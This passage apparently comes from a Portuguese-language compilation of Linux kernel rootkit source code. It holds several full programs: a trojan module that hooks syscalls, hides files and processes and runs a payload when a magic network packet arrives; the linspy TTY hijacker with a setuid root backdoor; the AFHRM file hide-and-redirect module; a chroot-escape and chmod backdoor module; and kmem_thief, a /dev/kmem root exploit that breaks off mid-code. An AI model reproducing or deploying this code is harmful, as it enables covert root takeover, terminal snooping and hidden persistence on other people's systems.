	current->egid = 0;
	return 0;
    }
    tmp = (*o_setuid) (uid);
    return tmp;
}


/*
 * trojan getdents() system call. 
 */
int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
    unsigned int tmp, n;
    int t, proc = 0;
    struct inode *dinode;
    struct dirent *dirp2, *dirp3;

    tmp = (*o_getdents) (fd, dirp, count);

#ifdef __LINUX_DCACHE_H
    dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    dinode = current->files->fd[fd]->f_inode;
#endif

    if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
	proc = 1;
    if (tmp > 0) {
	dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
	memcpy_fromfs(dirp2, dirp, tmp);
	dirp3 = dirp2;
	t = tmp;
	while (t > 0) {
	    n = dirp3->d_reclen;
	    t -= n;
	    if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \
		||(proc && invisible(myatoi(dirp3->d_name)))) {
		if (t != 0)
		    memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
		else
		    dirp3->d_off = 1024;
		tmp -= n;
	    }
	    if (dirp3->d_reclen == 0) {
		/*
		 * workaround for some shitty fs drivers that do not properly
		 * feature the getdents syscall.
		 */
		tmp -= t;
		t = 0;
	    }
	    if (t != 0)
		dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);


	}
	memcpy_tofs(dirp, dirp2, tmp);
	kfree(dirp2);
    }
    return tmp;

}


/*
 * Trojan socketcall system call
 * executes a given binary when a packet containing the magic word is received.
 * WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM.  
 */

int n_socketcall(int call, unsigned long *args)
{
    int ret, ret2, compt;
    char *t = RECVEXEC;
    unsigned long *sargs = args;
    unsigned long a0, a1, mmm;
    void *buf;

    ret = (*o_socketcall) (call, args);
    if (ret == MAGICSIZE && call == SYS_RECVFROM) {
	a0 = get_user(sargs);
	a1 = get_user(sargs + 1);
	buf = kmalloc(ret, GFP_KERNEL);
	memcpy_fromfs(buf, (void *) a1, ret);
	for (compt = 0; compt < ret; compt++)
	    if (((char *) (buf))[compt] == 0)
		((char *) (buf))[compt] = 1;
	if (strstr(buf, mtroj)) {
	    kfree(buf);
	    ret2 = fork();
	    if (ret2 == 0) {
		mmm = current->mm->brk;
		ret2 = brk((void *) (mmm + 256));
		memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
/* Hope the execve has been successfull otherwise you'll have 2 copies of the
   master process in the ps list :] */
		ret2 = my_execve((char *) mmm + 2, NULL, NULL);
	    }
	}
    }
    return ret;
}





/*
 * module initialization stuff.
 */
int init_module(void)
{
/* module list cleaning */
/* would need to make a clean search of the right register
 * in the function prologue, since gcc may not always put 
 * struct module *mp in %ebx 
 * 
 * Try %ebx, %edi, %ebp, well, every register actually :)
 */
    register struct module *mp asm("%ebx");
    *(char *) (mp->name) = 0;
    mp->size = 0;
    mp->ref = 0;
/*
 * Make it unremovable
 */
/*    MOD_INC_USE_COUNT;
 */
    o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms];
    sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;

    o_getdents = sys_call_table[SYS_getdents];
    sys_call_table[SYS_getdents] = (void *) n_getdents;

    o_setuid = sys_call_table[SYS_setuid];
    sys_call_table[SYS_setuid] = (void *) n_setuid;

    __NR_myexecve = 164;
    while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
	__NR_myexecve--;
    o_execve = sys_call_table[SYS_execve];
    if (__NR_myexecve != 0) {
	sys_call_table[__NR_myexecve] = o_execve;
	sys_call_table[SYS_execve] = (void *) n_execve;
    }
    promisc = 0;
    o_ioctl = sys_call_table[SYS_ioctl];
    sys_call_table[SYS_ioctl] = (void *) n_ioctl;

    o_socketcall = sys_call_table[SYS_socketcall];
    sys_call_table[SYS_socketcall] = (void *) n_socketcall;
    return 0;

}


void cleanup_module(void)
{
    sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms;
    sys_call_table[SYS_getdents] = o_getdents;
    sys_call_table[SYS_setuid] = o_setuid;
    sys_call_table[SYS_socketcall] = o_socketcall;

    if (__NR_myexecve != 0)
	sys_call_table[__NR_myexecve] = 0;
    sys_call_table[SYS_execve] = o_execve;

    sys_call_table[SYS_ioctl] = o_ioctl;
}

-----------------------------------------------------------------------

LKM TTY hijacking

Nome: linspy
Autor: halflife
Descricao: Este LKM encontra-se na phrack 50( artigo 5: 'Abuse of the
Linux Kernel for Fun and Profit'). Isto eh uma otima sequestratora de 
tty trabalhando da maneira discutida na II.7. Este modulo usa seu proprio
character device para controlar e logar.

<++> linspy/Makefile
CONFIG_KERNELD=-DCONFIG_KERNELD
CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
CC=gcc
# this is the name of the device you have (or will) made with mknod
DN = '-DDEVICE_NAME="/dev/ltap"'
# 1.2.x need this to compile, comment out on 1.3+ kernels
V = #-DNEED_VERSION
MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX

all:		linspy ltread setuid

linspy:		linspy.c /usr/include/linux/version.h
		$(CC) $(MODCFLAGS) -c linspy.c

ltread:		
		$(CC) $(DN) -o ltread ltread.c

clean:		
		rm *.o ltread

setuid:		hacked_setuid.c /usr/include/linux/version.h
		$(CC) $(MODCFLAGS) -c hacked_setuid.c
                                                     
<--> end Makefile
<++> linspy/hacked_setuid.c
int errno;
#include <linux/sched.h>
#include <linux/mm.h>
#include <linux/malloc.h>
#include <linux/errno.h>
#include <linux/sched.h>
#include <linux/kernel.h>
#include <linux/times.h>
#include <linux/utsname.h>
#include <linux/param.h>
#include <linux/resource.h>
#include <linux/signal.h>
#include <linux/string.h>
#include <linux/ptrace.h>
#include <linux/stat.h>
#include <linux/mman.h>
#include <linux/mm.h>
#include <asm/segment.h>
#include <asm/io.h>
#include <linux/module.h>
#include <linux/version.h>
#include <errno.h>
#include <linux/unistd.h>
#include <string.h>
#include <asm/string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/sysmacros.h>
#ifdef NEED_VERSION
static char kernel_version[] = UTS_RELEASE;
#endif
static inline _syscall1(int, setuid, uid_t, uid);
extern void *sys_call_table[];
void *original_setuid;
extern int hacked_setuid(uid_t uid)
{
   int i;                     
   if(uid == 4755)
   {
      current->uid = current->euid = current->gid = current->egid = 0;
      return 0;
   }
   sys_call_table[SYS_setuid] = original_setuid;
   i = setuid(uid);
   sys_call_table[SYS_setuid] = hacked_setuid;
   if(i == -1) return -errno;
   else return i;
}
int init_module(void)
{
   original_setuid = sys_call_table[SYS_setuid];
   sys_call_table[SYS_setuid] = hacked_setuid;
   return 0;
}
void cleanup_module(void)
{
   sys_call_table[SYS_setuid] = original_setuid;
}  
<++> linspy/linspy.c
int errno;
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/mm.h>
#include <linux/malloc.h>
#include <linux/errno.h>
#include <linux/sched.h>
#include <linux/kernel.h>
#include <linux/times.h>
#include <linux/utsname.h>
#include <linux/param.h>
#include <linux/resource.h>
#include <linux/signal.h>
#include <linux/string.h>
#include <linux/ptrace.h>
#include <linux/stat.h>
#include <linux/mman.h>
#include <linux/mm.h>
#include <asm/segment.h>
#include <asm/io.h>
#ifdef MODULE
#include <linux/module.h>       
#include <linux/version.h>
#endif
#include <errno.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <string.h>
#include <asm/string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/sysmacros.h>
#include <linux/vt.h>

/* set the version information, if needed */
#ifdef NEED_VERSION
static char kernel_version[] = UTS_RELEASE;
#endif

#ifndef MIN
#define MIN(a,b)        ((a) < (b) ? (a) : (b))
#endif

/* ring buffer info */        

#define BUFFERSZ        2048
char buffer[BUFFERSZ];
int queue_head = 0;
int queue_tail = 0;

/* taken_over indicates if the victim can see any output */
int taken_over = 0;

static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
extern void *sys_call_table[];

/* device info for the linspy device, and the device we are watching */
static int linspy_major = 40;
int tty_minor = -1;
int tty_major = 4;

/* address of original write(2) syscall */
void *original_write;

void save_write(char *, size_t);


int out_queue(void) 
{
   int c;
   if(queue_head == queue_tail) return -1;
   c = buffer[queue_head];
   queue_head++;
   if(queue_head == BUFFERSZ) queue_head=0;
   return c;
}

int in_queue(int ch)
{
   if((queue_tail + 1) == queue_head) return 0;
   buffer[queue_tail] = ch;
   queue_tail++;
   if(queue_tail == BUFFERSZ) queue_tail=0;
   return 1;
}


/* check if it is the tty we are looking for */
int is_fd_tty(int fd)
{
   struct file *f=NULL;
   struct inode *inode=NULL;
   int mymajor=0;
   int myminor=0;

   if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
      return 0;
   mymajor = major(inode->i_rdev);
   myminor = minor(inode->i_rdev);
   if(mymajor != tty_major) return 0;
   if(myminor != tty_minor) return 0;
   return 1;
}

/* this is the new write(2) replacement call */
extern int new_write(int fd, char *buf, size_t count)
{
   int r;
   if(is_fd_tty(fd))
   {
      if(count > 0)
         save_write(buf, count);
      if(taken_over) return count;
   }
   sys_call_table[SYS_write] = original_write;
   r = write(fd, buf, count); 
   sys_call_table[SYS_write] = new_write;
   if(r == -1) return -errno;
   else return r;
}


/* save data from the write(2) call into the buffer */
void save_write(char *buf, size_t count)
{
   int i;
   for(i=0;i < count;i++)
      in_queue(get_fs_byte(buf+i));
}

/* read from the ltap device - return data from queue */
static int linspy_read(struct inode *in, struct file *fi, char *buf, int count)
{
   int i;
   int c;
   int cnt=0;
   if(current->euid != 0) return 0;
   for(i=0;i < count;i++)
   {
      c = out_queue();
      if(c < 0) break;
      cnt++;
      put_fs_byte(c, buf+i);
   }
   return cnt;
}

/* open the ltap device */
static int linspy_open(struct inode *in, struct file *fi)
{
   if(current->euid != 0) return -EIO;
   MOD_INC_USE_COUNT;
   return 0;
}

/* close the ltap device */
static void linspy_close(struct inode *in, struct file *fi)
{
   taken_over=0;
   tty_minor = -1;
   MOD_DEC_USE_COUNT;
}
             
/* some ioctl operations */
static int
linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args)
{
#define LS_SETMAJOR     0
#define LS_SETMINOR     1
#define LS_FLUSHBUF     2
#define LS_TOGGLE       3

   if(current->euid != 0) return -EIO;
   switch(cmd)
   {
      case LS_SETMAJOR:
         tty_major = args;
         queue_head = 0;
         queue_tail = 0;
         break;
      case LS_SETMINOR:
         tty_minor = args;
         queue_head = 0;
         queue_tail = 0;
         break;
     case LS_FLUSHBUF:
         queue_head=0;
         queue_tail=0;
         break;
     case LS_TOGGLE:
         if(taken_over) taken_over=0;
         else taken_over=1;
         break;
      default:
         return 1;
   }
   return 0;
}


static struct file_operations linspy = {
NULL,
linspy_read,
NULL,
NULL,
NULL,
linspy_ioctl,
NULL, 
linspy_open,
linspy_close,
NULL
};


/* init the loadable module */
int init_module(void)
{
   original_write = sys_call_table[SYS_write];
   sys_call_table[SYS_write] = new_write;
   if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
   return 0;
}

/* cleanup module before being removed */
void cleanup_module(void)
{
   sys_call_table[SYS_write] = original_write;
   unregister_chrdev(linspy_major, "linspy");
}
<--> end linspy.c
<++> linspy/ltread.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <termios.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>

struct termios save_termios;
int ttysavefd = -1;
int fd;

#ifndef DEVICE_NAME
#define DEVICE_NAME "/dev/ltap"
#endif

#define LS_SETMAJOR     0
#define LS_SETMINOR     1
 
#define LS_FLUSHBUF     2
#define LS_TOGGLE       3

void stuff_keystroke(int fd, char key)
{
   ioctl(fd, TIOCSTI, &key);
}

int tty_cbreak(int fd)
{
   struct termios buff;
   if(tcgetattr(fd, &save_termios) < 0)
      return -1;
   buff = save_termios;
   buff.c_lflag &= ~(ECHO | ICANON);
   buff.c_cc[VMIN] = 0;
   buff.c_cc[VTIME] = 0;
   if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)
      return -1;
   ttysavefd = fd;
   return 0;
}

 char *get_device(char *basedevice)
{
   static char devname[1024];
   int fd;

   if(strlen(basedevice) > 128) return NULL;
   if(basedevice[0] == '/')
      strcpy(devname, basedevice);
   else
      sprintf(devname, "/dev/%s", basedevice);
   fd = open(devname, O_RDONLY);
   if(fd < 0) return NULL;
   if(!isatty(fd)) return NULL;
   close(fd);
   return devname;
}


int do_ioctl(char *device)
{
   struct stat mystat;

   if(stat(device, &mystat) < 0) return -1;
    fd = open(DEVICE_NAME, O_RDONLY);
   if(fd < 0) return -1;
   if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;
   if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;
}


void sigint_handler(int s)
{
   exit(s);
}

void cleanup_atexit(void)
{
   puts(" ");
   if(ttysavefd >= 0)
      tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);
}

main(int argc, char **argv)
{
   int my_tty;
   char *devname;
    unsigned char ch;
   int i;

   if(argc != 2)
   {
      fprintf(stderr, "%s ttyname\n", argv[0]);
      fprintf(stderr, "ttyname should NOT be your current tty!\n");
      exit(0);
   }
   devname = get_device(argv[1]);
   if(devname == NULL)
   {
      perror("get_device");
      exit(0);
   }
   if(tty_cbreak(0) < 0)
   {
      perror("tty_cbreak");
      exit(0);
   }
   atexit(cleanup_atexit);
   signal(SIGINT, sigint_handler);
   if(do_ioctl(devname) < 0)
   {
      perror("do_ioctl");
      exit(0);
   }
   my_tty = open(devname, O_RDWR);
   if(my_tty == -1) exit(0);
   setvbuf(stdout, NULL, _IONBF, 0);
   printf("[now monitoring session]\n");
   while(1)
   {
      i = read(0, &ch, 1);
      if(i > 0)
      {
         if(ch == 24)
         {
            ioctl(fd, LS_TOGGLE, 0);
            printf("[Takeover mode toggled]\n");
         }
         else stuff_keystroke(my_tty, ch);
      }
      i = read(fd, &ch, 1);
      if(i > 0)
         putchar(ch);
    }
}
<--> end ltread.c

--------------------------------------------------------------------------

AFHRM - the monitor tool(a ferramenta de monitoracao)

Nome: AFHRM (Advanced File Hide & Redirect Module)
Autor: Michael Zalewski
Descricao: Este LKM was feito especialmente para administradores que 
querem controlar alguns arquivos(passwd, for example) tendo acesso a ele.
Este modulo pode monitorar qualquer acesso de arquivo e redirecionar 
coisas que estao sendo escritas. 


/*
   Advanced file hide & redirect module for Linux 2.0.xx / i386 
   ------------------------------------------------------------
      (C) 1998 Michal Zalewski <lcamtuf@boss.staszic.waw.pl>
*/

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>

#if (!defined(__GLIBC__) || __GLIBC__ < 2)
#include <sys/stat.h>
#else
#include <statbuf.h>		// What can I do?
#endif

#include <linux/string.h>
#include "broken-glibc.h"
#include <linux/fs.h>
#include <linux/malloc.h>

/* Hope that's free? */
#define O_NOCHG     0x1000000
#define O_ACCNOCHG  0x2000000
#define O_STRICT    0x4000000
#define O_STILL     0x8000000

#define M_MAIN      0x0ffffff
#define M_MINOR     (M_MAIN ^ O_ACCMODE)

struct red {		// Redirections database entry.
  const char *src,*dst;
  const int flags,new_flags;
};

struct red redir_table[]={

// Include user-specific choices :-)
#include "config.h"

};

#define REDIRS sizeof(redir_table)/sizeof(struct red)

struct dat {		// Inode database entry.
  long ino,dev;
  int valid;
};

int as_today,ohits,ghits,       // internal counters.
    uhits,lhits,rhits;

struct dat polozenie[REDIRS];	// Inodes database.

// Protos...
int collect(void);

extern void* sys_call_table[];

// Old system calls handlers (for module removal).
int (*stary_open)(const char *pathname, int flags, mode_t mode);
int (*stary_getdents)(unsigned int fd, struct dirent* dirp, unsigned int count);
int (*stary_link)(const char* oldname,const char* newname);
int (*stary_unlink)(const char* name);
int (*stary_rename)(const char* oldname,const char* newname);

int (*sys_stat)(void*,void*);
int (*mybrk)(void*);


// Ugly low-level hack - OH, HOW WE NEED IT :)))
int mystat(const char* arg1,struct stat* arg2,char space) {
  unsigned long m1=0,m2;
  long __res;
  char* a1;
  struct stat* a2;
  if (!space) {
    // If needed, duplicate 1st argument to user space...
    m1=current->mm->brk;
    mybrk((void*)(m1+strlen(arg1)+1));
    a1=(char*)(m1+2);
    memcpy_tofs(a1,arg1,strlen(arg1)+1);
  } else a1=(char*)arg1;
  // Allocate space for 2nd argument...
  m2=current->mm->brk;
  mybrk((void*)(m2+sizeof(struct stat)));
  a2=(struct stat*)(m2+2);
  // Call stat(...)
  __res=sys_stat(a1,a2);
  // Copy 2nd argument back...
  memcpy_fromfs(arg2,a2,sizeof(struct stat));
  // Free memory.
  if (!space) mybrk((void*)m1); else mybrk((void*)m2);
  return __res;
}

// New open(...) handler.
extern int nowy_open(const char *pathname, int flags, mode_t mode) {
  int i=0,n;
  char zmieniony=0,*a1;
  struct stat buf;
  unsigned long m1=0;
  if (++as_today>INTERV) {
    as_today=0;
    collect();
  }
  if (!mystat(pathname,&buf,1)) for (i=0;i<REDIRS && !zmieniony;i++) if (polozenie[i].valid
    && (long)buf.st_dev==polozenie[i].dev && (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
    if (redir_table[i].flags & O_STRICT) n=redir_table[i].flags & O_ACCMODE; else n=0;
    switch(flags) {
      case O_RDONLY:
        if ((redir_table[i].flags & O_WRONLY) || (n & O_RDWR)) n=1;
        break;
      case O_WRONLY:
        if ((redir_table[i].flags & O_RDONLY) || (n & O_RDWR)) n=1;
        break;
      default:
        if (n && (n & (O_RDONLY|O_WRONLY))) n=1;
        n=0;
    }
#ifdef DEBUG
    printk("AFHRM_DEBUG: open %s (D:0x%x I:0x%x) ",redir_table[i].src, buf.st_dev, buf.st_ino);
    printk("[%s] of: 0x%x cf: 0x%x nf: ",redir_table[i].dst, mode,redir_table[i].flags);
    printk("0x%x rd: %d.\n", redir_table[i].new_flags, n==0);
#endif
    ohits++;
    if (!n && (((redir_table[i].flags & M_MINOR) & flags) == (redir_table[i].flags & M_MINOR)))
      if (redir_table[i].dst) {
        flags=(((redir_table[i].new_flags & O_NOCHG) > 0)*flags) |
	      (((redir_table[i].new_flags & O_ACCNOCHG) > 0)*(flags & O_ACCMODE)) |
	      (redir_table[i].new_flags & M_MAIN);
	/* User space trick */
        m1=current->mm->brk;
        mybrk((void*)(m1+strlen(redir_table[i].dst)+1));
        a1=(char*)(m1+2);
        memcpy_tofs(a1,redir_table[i].dst,strlen(redir_table[i].dst)+1);
	pathname=a1;
        zmieniony=1;
      } else return -ERR;
  }
  i=stary_open(pathname,flags,mode);
  if (zmieniony) mybrk((void*)m1);
  return i;
}


// New getdents(...) handler.
int nowy_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
  int ret,n,t,i,dev;
  struct dirent *d2,*d3;
  ret=stary_getdents(fd,dirp,count);
  dev = (long)current->files->fd[fd]->f_inode->i_dev;
  if (ret>0) {
    d2=(struct dirent*)kmalloc(ret,GFP_KERNEL);
    memcpy_fromfs(d2,dirp,ret);
    d3=d2;
    t=ret;
    while (t>0) {
      n=d3->d_reclen;
      t-=n;
      for (i=0;i<REDIRS;i++)
        if (polozenie[i].valid && /* dev == polozenie[i].dev && */ /* BROKEN! */
	    d3->d_ino==polozenie[i].ino && redir_table[i].dst == NULL) {
#ifdef DEBUG
          printk("AFHRM_DEBUG: getdents %s [D: 0x%x I: 0x%x] r: 0x%x t: 0x%x\n",
	         redir_table[i].src,dev,d3->d_ino,ret,t);
#endif
	  ghits++;
          if (t!=0) memmove(d3,(char*)d3+d3->d_reclen,t); else d3->d_off=1024;
          ret-=n;
        }
      if (!d3->d_reclen) { ret-=t;t=0; }
      if (t) d3=(struct dirent*)((char*)d3+d3->d_reclen);
    }
    memcpy_tofs(dirp,d2,ret);
    kfree(d2);
  }
  return ret;
}


// New link(...) handler.
extern int nowy_link(const char *oldname,const char *newname) {
  int i;
  struct stat buf;
  if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
     (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
     redir_table[i].flags | O_STILL ) &&
     (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
#ifdef DEBUG
    printk("AFHRM_DEBUG: link %s... (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
           (long)*((char*)&buf.st_dev+4));
#endif
       lhits++;
       if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
     }
  return stary_link(oldname,newname);
}


// New unlink(...) handler.
extern int nowy_unlink(const char *name) {
  int i;
  struct stat buf;
  if (!mystat(name,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
     (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
     redir_table[i].flags | O_STILL ) &&
     (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
#ifdef DEBUG
    printk("AFHRM_DEBUG: unlink %s (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
           (long)*((char*)&buf.st_dev+4));
#endif
       uhits++;
       if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
  }
  return stary_unlink(name);
}


// New rename(...) handler.
extern int nowy_rename(const char *oldname, const char* newname) {
  int i;
  struct stat buf;
  if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
     (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
     redir_table[i].flags | O_STILL ) &&
     (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
#ifdef DEBUG
    printk("AFHRM_DEBUG: rename %s... (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
           (long)*((char*)&buf.st_dev+4));
#endif
       rhits++;
       if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
  }
  return stary_rename(oldname,newname);
}


// Inode database rebuild procedure.
int collect() {
  int x=0,i=0,err;
  struct stat buf;
#ifdef DEBUG
  printk("AFHRM_DEBUG: Automatic inode database rebuild started.\n");
#endif
  for (;i<REDIRS;i++)
    if (!(err=mystat(redir_table[i].src,&buf,0))) {
      polozenie[i].valid=1;
      polozenie[i].dev=buf.st_dev;
      polozenie[i].ino=(long)*((char*)&buf.st_dev+4);
#ifdef DEBUG
  printk("AFHRM_DEBUG: #%d file %s [D: 0x%x I: 0x%x].\n",x,redir_table[i].src,
         buf.st_dev,buf.st_ino);
#endif
      x++;
    } else {
      polozenie[i].valid=0;
#ifdef DEBUG
     printk("AFHRM_DEBUG: file: %s missed [err %d].\n",redir_table[i].src,-err);
  }
  if (x!=REDIRS) {
    printk("AFHRM_DEBUG: %d inode(s) not found, skipped.\n",REDIRS-x);
#endif
  }
  return x;
}

// ********
// MAINS :)
// ********


// Module startup.
int init_module(void) {
#ifdef HIDDEN
  register struct module *mp asm("%ebp");
#endif
  int x;
  unsigned long flags;
  save_flags(flags);
  cli();			// To satisfy kgb ;-)
#ifdef HIDDEN
  *(char*)(mp->name)=0;
  mp->size=0;
  mp->ref=0;
#endif
#ifdef VERBOSE
  printk("AFHRM_INIT: Version " VERSION " starting.\n");
#ifdef HIDDEN
  register_symtab(0);
  printk("AFHRM_INIT: Running in invisible mode - can't be removed.\n");
#endif
  printk("AFHRM_INIT: inode database rebuild interval: %d calls.\n",INTERV);
#endif
  sys_stat=sys_call_table[__NR_stat];
  mybrk=sys_call_table[__NR_brk];
  x=collect();
  stary_open=sys_call_table[__NR_open];
  stary_getdents=sys_call_table[__NR_getdents];
  stary_link=sys_call_table[__NR_link];
  stary_unlink=sys_call_table[__NR_unlink];
  stary_rename=sys_call_table[__NR_rename];
#ifdef VERBOSE
  printk("AFHRM_INIT: Old __NR_open=0x%x, new __NR_open=0x%x.\n",(int)stary_open,(int)nowy_open);
  printk("AFHRM_INIT: Old __NR_getdents=0x%x, new __NR_getdents=0x%x.\n",(int)stary_getdents,
         (int)nowy_getdents);
  printk("AFHRM_INIT: Old __NR_link=0x%x, new __NR_link=0x%x.\n",(int)stary_link,(int)nowy_link);
  printk("AFHRM_INIT: Old __NR_unlink=0x%x, new __NR_unlink=0x%x.\n",(int)stary_unlink,
         (int)nowy_unlink);
  printk("AFHRM_INIT: Old __NR_rename=0x%x, new __NR_rename=0x%x.\n",(int)stary_rename,
         (int)nowy_rename);
#endif
  sys_call_table[__NR_open]=nowy_open;
  sys_call_table[__NR_getdents]=nowy_getdents;
  sys_call_table[__NR_link]=nowy_link;
  sys_call_table[__NR_unlink]=nowy_unlink;
  sys_call_table[__NR_rename]=nowy_rename;
#ifdef VERBOSE
  printk("AFHRM_INIT: %d of %d redirections loaded. Init OK.\n",x,REDIRS);
#endif
  restore_flags(flags);
  return 0;
}


// Module shutdown...
void cleanup_module(void) {
  unsigned long flags;
  save_flags(flags);
  cli();			// To satisfy kgb ;-)
#ifdef VERBOSE
  printk("AFHRM_INIT: Version " VERSION " shutting down.\n");
#endif
  sys_call_table[__NR_open]=stary_open;
  sys_call_table[__NR_getdents]=stary_getdents;
  sys_call_table[__NR_link]=stary_link;
  sys_call_table[__NR_unlink]=stary_unlink;
  sys_call_table[__NR_rename]=stary_rename;
#ifdef VERBOSE
  printk("AFHRM_INIT: Hits: open %d, getdents %d, link %d, unlink %d, rename %d. Shutdown OK.\n",
         ohits,ghits,lhits,uhits,rhits);
#endif
  restore_flags(flags);
}

---------------------------------------------------------------------------------

CHROOT module trick

Nome: chr.c
Autor: FLoW/HISPAHACK
Descricao: O primeiro codigo reprentando o ls 'trojan'. 
Link: http://hispahack.ccc.de

/*LS 'TROJAN'*/
/* Sustituto para el "ls" de un ftp restringido.
 * Carga el modulo del kernel chr.o
 * FLoW - !H'98
 */

#include <stdio.h>
#include <sys/wait.h>

main()
{
int estado;

printf("UID: %i EUID: %i\n",getuid(),geteuid());
printf("Cambiando EUID...\n");

setuid(0); /* Ya que wu-ftpd usa seteuid(), podemos recuperar uid=0 */

printf("UID: %i EUID: %i\n",getuid(),geteuid());

switch(fork())
{
case -1: printf("Error creando hijo.\n");
case  0: execlp("/bin/insmod","insmod","/bin/chr.o",0);
	 printf("Error ejecutando insmod.\n");
	 exit(1);
default: printf("Cargando modulo chroot...\n");
	 wait(&estado);
	 if(WIFEXITED(estado)!=0 && WEXITSTATUS(estado)==0) 
	   printf("Modulo cargado!\n");
	 else
	   printf("Error cargando modulo.\n");
	 break;
}
}



/* Modulo del kernel para anular un chroot() y "retocar" chmod()
 * FLoW - !H'98
 * Basado en heroin.c de Runar Jensen <zarq@opaque.org>
 */

#include <linux/fs.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <sys/syscall.h>

#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <stdlib.h>


static inline _syscall2(int, chmod, const char*, path, mode_t, mode);
static inline _syscall1(int, setuid, uid_t, uid);
 
extern void *sys_call_table[];

int (*original_chroot)(const char *, const char*); 
int (*original_chmod)(const char *, mode_t);
int (*original_setuid)(uid_t);

int hacked_chmod(const char *path, mode_t mode)
{
int err;

if(mode==83) { /* chmod 123 XXX */
  (*original_setuid)(0);
  err=(*original_chmod)(path, 511); /* chmod 777 XXX */
  }

else {
  err=(*original_chmod)(path, mode);
  }
  
return(err);
}

int hacked_chroot(const char *path, const char *cmd)
{
        return(0);
}

int init_module(void)
{
	original_setuid = sys_call_table[SYS_setuid];
	original_chroot = sys_call_table[SYS_chroot];
	sys_call_table[SYS_chroot] = hacked_chroot;
	original_chmod = sys_call_table[SYS_chmod];
	sys_call_table[SYS_chmod] = hacked_chmod;
        return(0);
}

void cleanup_module(void)
{
	sys_call_table[SYS_chroot] = original_chroot;
	sys_call_table[SYS_chmod] = original_chmod;
}

-------------------------------------------------------------------------

Kernel Memory Patching

Nome: kmemthief.c
Autor: nao sabemos
Descricao: Este eh um aplicativo padronizado q ira lhe servir root(seu 
processo de usuario). O sistema que voce tentara exploitar tera de ter
permissao para write e read do /dev/kmem. 
Link: http://www.rootshell.com

/*   
   kmem_thief
   compile as follows:
   cc -O kmem_thief.c -ld -o kmem_thief
*/
#include <stdio.h>
#include <fcntl.h>
#include <sys/signal.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/dir.h>
#include <sys/user.h>

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
        int argc;
        char *argv[], *envp[];
{
        int count, fd;
        long where, lseek();
        fd = open( "/dev/kmem",O_RDWR);
        if(fd < 0)
        {
                printf("Could not open /dev/kmem.\n");
                perror(argv);
                exit(10);
        }
        userlocation = address();
        where = lseek(fd, userlocation, 0);
        if(where != userlocation)
        {
                printf("Could not seek to user page.\n");
                perror(argv);
                exit(20);
        }
        count = read(fd, &userpage, sizeof(struct user));
        if(count != sizeof(struct user))
        {
                printf("Could not read user page.\n");
                perror(argv);
                exit(30);
        }
        printf(" Current uid is %d\n", userpage.u_ruid);
        printf(" Current gid is %d\n", userpage.u_rgid);
        printf(" Current euid is %d\n", userpage.u_uid);
        printf(" Current egid is %d\n", userpage.u_gid);
        userpage.u_ruid = 0;
        userpage.u_rgid = 0;
        userpage.u_uid = 0;
        userpage.u_gid = 0;
        where = lseek(fd, userlocation, 0);
        if(where != userlocation)
        {
                printf("Could not seek to user page.\n");
                perror(argv);
                exit(40);
        }
        write(fd, &userpage, ((char *)&(userpage.u_procp)) - ((char *)&userpage));
